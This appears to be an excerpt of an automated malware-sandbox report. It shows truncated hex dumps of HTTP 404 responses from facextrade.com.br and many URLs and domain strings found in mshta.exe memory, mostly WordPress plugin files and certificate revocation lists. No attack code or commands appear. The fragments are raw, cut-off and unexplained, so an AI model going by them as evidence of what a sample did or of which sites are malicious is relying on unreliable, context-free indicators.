Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 16 Aug 2022 09:53:26 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://facextrade.com.br/wp-json/>; rel="https://api.w.org/"Content-Type: text/html; charset=UTF-8X-Varnish: 23797003Age: 0Via: 1.1 varnish-v4Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 30 30 31 30 34 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 36 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 37 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 38 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 39 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 39 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 7c 20 46 61 63 65 78 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 26 72 61 71 75 6f 3b 20 50 c3 a1 67 69 6e 61 20 6e c3 a3 6f 20 65 6e 63 6f 6e 74 72 61 64 61 20 7c 20 46 61 63 65 78 20 43 6f 6d c3 a9 72 63 69 6f 20 45 78 74 65 72 69 6f 72 20 4c 74 64 61 2e 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 7
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 16 Aug 2022 09:53:26 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://facextrade.com.br/wp-json/>; rel="https://api.w.org/"Content-Type: text/html; charset=UTF-8X-Varnish: 21588395Age: 0Via: 1.1 varnish-v4Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 30 30 31 30 34 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 36 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 37 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 38 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 39 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 39 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 7c 20 46 61 63 65 78 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 26 72 61 71 75 6f 3b 20 50 c3 a1 67 69 6e 61 20 6e c3 a3 6f 20 65 6e 63 6f 6e 74 72 61 64 61 20 7c 20 46 61 63 65 78 20 43 6f 6d c3 a9 72 63 69 6f 20 45 78 74 65 72 69 6f 72 20 4c 74 64 61 2e 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 7

Source: mshta.exe, 00000008.00000002.1180960373.000000000648A000.00000004.00000020.00020000.00000000.sdmp, owl.carousel[1].js.8.dr	String found in binary or memory: https://www.youtube.com/watch?v=:id equals www.youtube.com (Youtube)
Source: mshta.exe, 00000008.00000002.1180960373.000000000648A000.00000004.00000020.00020000.00000000.sdmp, owl.carousel[1].js.8.dr	String found in binary or memory: html.attr( 'src', '//www.youtube.com/embed/' + video.id + '?autoplay=1&rel=0&v=' + video.id ); equals www.youtube.com (Youtube)
Source: mshta.exe, 00000008.00000003.1042217541.0000000004A73000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1175274565.0000000004A77000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1042392174.0000000004A76000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1042304907.0000000004A74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: //www.youtube.com/embed//player?autoplay=true equals www.youtube.com (Youtube)
Source: mshta.exe, 00000008.00000002.1171814085.000000000394D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: /moc.nideknil.wwwwww.linkedin.com equals www.linkedin.com (Linkedin)
Source: mshta.exe, 00000008.00000002.1174137645.0000000004822000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1036116238.0000000004821000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: \//www.youtube.com/embed/%id%?autoplay=1//player.vimeo.com/video/%id%?autoplay=1 equals www.youtube.com (Youtube)
Source: mshta.exe, 00000008.00000002.1171814085.000000000394D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: www.linkedin.com equals www.linkedin.com (Linkedin)
Source: mshta.exe, 00000008.00000002.1177475121.00000000052F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)

Source: jquery.mousewheel.min[1].js.8.dr	String found in binary or memory: http://adomas.org/javascript-mouse-wheel/
Source: jquery.mousewheel.min[1].js.8.dr	String found in binary or memory: http://brandonaaron.net)
Source: mshta.exe, 00000008.00000002.1180659727.0000000006420000.00000004.00000020.00020000.00000000.sdmp, swfobject[1].js.8.dr	String found in binary or memory: http://code.google.com/p/swfobject/
Source: mshta.exe, 00000008.00000003.937402502.00000000003AB000.00000004.00000020.00020000.00000000.sdmp, font-awesome[1].css.8.dr	String found in binary or memory: http://creativecommons.org/licenses/by/3.0/
Source: mshta.exe, 00000008.00000002.1177475121.00000000052F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: mshta.exe, 00000008.00000002.1177475121.00000000052F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1177475121.00000000052F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: mshta.exe, 00000008.00000002.1172277354.0000000003A24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: mshta.exe, 00000008.00000002.1177475121.00000000052F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: mshta.exe, 00000008.00000002.1177475121.00000000052F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: animate-logo[1].css.8.dr	String found in binary or memory: http://daneden.me/animate
Source: jquery.magnific-popup.min[1].js.8.dr	String found in binary or memory: http://dimsemenov.com/plugins/magnific-popup/
Source: mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextra.com.br/wp-includes/certificates/4
Source: mshta.exe, 00000008.00000002.1180659727.0000000006420000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.c
Source: mshta.exe, 00000008.00000003.969628382.0000000006417000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1180960373.000000000648A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/
Source: mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/-
Source: mshta.exe, 00000008.00000002.1180659727.0000000006420000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/aQ
Source: mshta.exe, 00000008.00000002.1180659727.0000000006420000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/ae
Source: mshta.exe, 00000008.00000002.1180622886.0000000006417000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/q
Source: mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1167379438.000000000029B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/bannerrotator/css/banner-rotator.css?ver=4.9.20
Source: mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/bannerrotator/css/banner-rotator.css?ver=4.9.20M
Source: mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/bannerrotator/css/caption.css?ver=4.9.20
Source: mshta.exe, 00000008.00000002.1167379438.000000000029B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/bannerrotator/css/caption.css?ver=4.9.200.NET4.0E)
Source: mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1177709846.000000000534C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/bannerrotator/js/jquery.banner-rotator.js?ver=4.9.20
Source: mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/bannerrotator/js/jquery.banner-rotator.js?ver=4.9.20)
Source: mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/bannerrotator/js/jquery.banner-rotator.js?ver=4.9.20r=4.
Source: mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1177709846.000000000534C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/bannerrotator/js/jquery.flashblue-plugins.js?ver=4.9.20
Source: mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/bannerrotator/js/jquery.flashblue-plugins.js?ver=4.9.20.
Source: mshta.exe, 00000008.00000002.1180659727.0000000006420000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/che
Source: mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1167157736.000000000023E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/css/parallax.css?ver=1.0.0
Source: mshta.exe, 00000008.00000002.1167379438.000000000029B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/css/parallax.css?ver=1.0.0.NET4.0E)
Source: mshta.exe, 00000008.00000002.1177709846.000000000534C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/cherry.parallax.js?ver=1.0.0
Source: mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/cherry.parallax.js?ver=1.0.00E)ry(
Source: mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/cherry.parallax.js?ver=1.0.0ET4.0E)re
Source: mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/cherry.parallax.js?ver=1.0.0crollTop
Source: mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/cherry.parallax.js?ver=1.0.0ry(
Source: mshta.exe, 00000008.00000002.1177709846.000000000534C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0
Source: mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0.NET4.0E)&
Source: mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0.NET4.0E)J
Source: mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.00C;
Source: mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.04.0E)
Source: mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0S
Source: mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0er=3.0.6
Source: mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0h(
Source: mshta.exe, 00000008.00000002.1170406636.00000000031F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0http://facextr
Source: mshta.exe, 00000008.00000002.1177709846.000000000534C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1180960373.000000000648A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6
Source: mshta.exe, 00000008.00000002.1180960373.000000000648A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.600B
Source: mshta.exe, 00000008.00000002.1180809282.0000000006454000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6Jp
Source: mshta.exe, 00000008.00000002.1170406636.00000000031F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6htt
Source: mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6i
Source: mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6veO
Source: mshta.exe, 00000008.00000002.1180960373.000000000648A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.simplr.smoothscroll.min.js?ver
Source: mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/css/cherry-plugin.css?ver=1.2.8.1
Source: mshta.exe, 00000008.00000002.1177709846.000000000534C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1180960373.000000000648A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1170406636.00000000031F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.1
Source: mshta.exe, 00000008.00000002.1180960373.000000000648A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.1h9
Source: mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.1la
Source: mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.1s?
Source: mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/FlexSlider/
Source: mshta.exe, 00000008.00000002.1167379438.000000000029B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1167349641.0000000000292000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/FlexSlider/flexslider.css?ver=2.2.0
Source: mshta.exe, 00000008.00000002.1167379438.000000000029B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/FlexSlider/fonts/flexslider-icon.eo
Source: mshta.exe, 00000008.00000002.1177709846.000000000534C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1170406636.00000000031F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/FlexSlider/jquery.flexslider-min.js
Source: mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/FlexSlider/lexslider-min.js?ver=2.2
Source: mshta.exe, 00000008.00000002.1177475121.00000000052F5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1177709846.000000000534C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1177426727.00000000052D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/elasti-carousel/jquery.elastislide.
Source: mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1177709846.000000000534C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1172277354.0000000003A24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3
Source: mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3.0ks
Source: mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3C:
Source: mshta.exe, 00000008.00000002.1172277354.0000000003A24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3er=1.0.
Source: mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3f
Source: mshta.exe, 00000008.00000003.1039289175.0000000004A23000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1038970768.0000000004A21000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1174869500.0000000004A28000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1039338109.0000000004A25000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1039407918.0000000004A27000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3http://
Source: mshta.exe, 00000008.00000002.1177855943.000000000538D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.carousel.css?ver=1
Source: mshta.exe, 00000008.00000002.1167379438.000000000029B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.theme.css?ver=1.24
Source: mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.0.3
Source: mshta.exe, 00000008.00000002.1167157736.000000000023E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.0.3.NET4.0E
Source: mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.0.3C:
Source: mshta.exe, 00000008.00000002.1177709846.000000000534C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.3
Source: mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.30E)ementI
Source: mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.30E)nsla#
Source: mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.3e-banner
Source: mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.3op:0
Source: mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1180809282.0000000006454000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/arrow_down.png
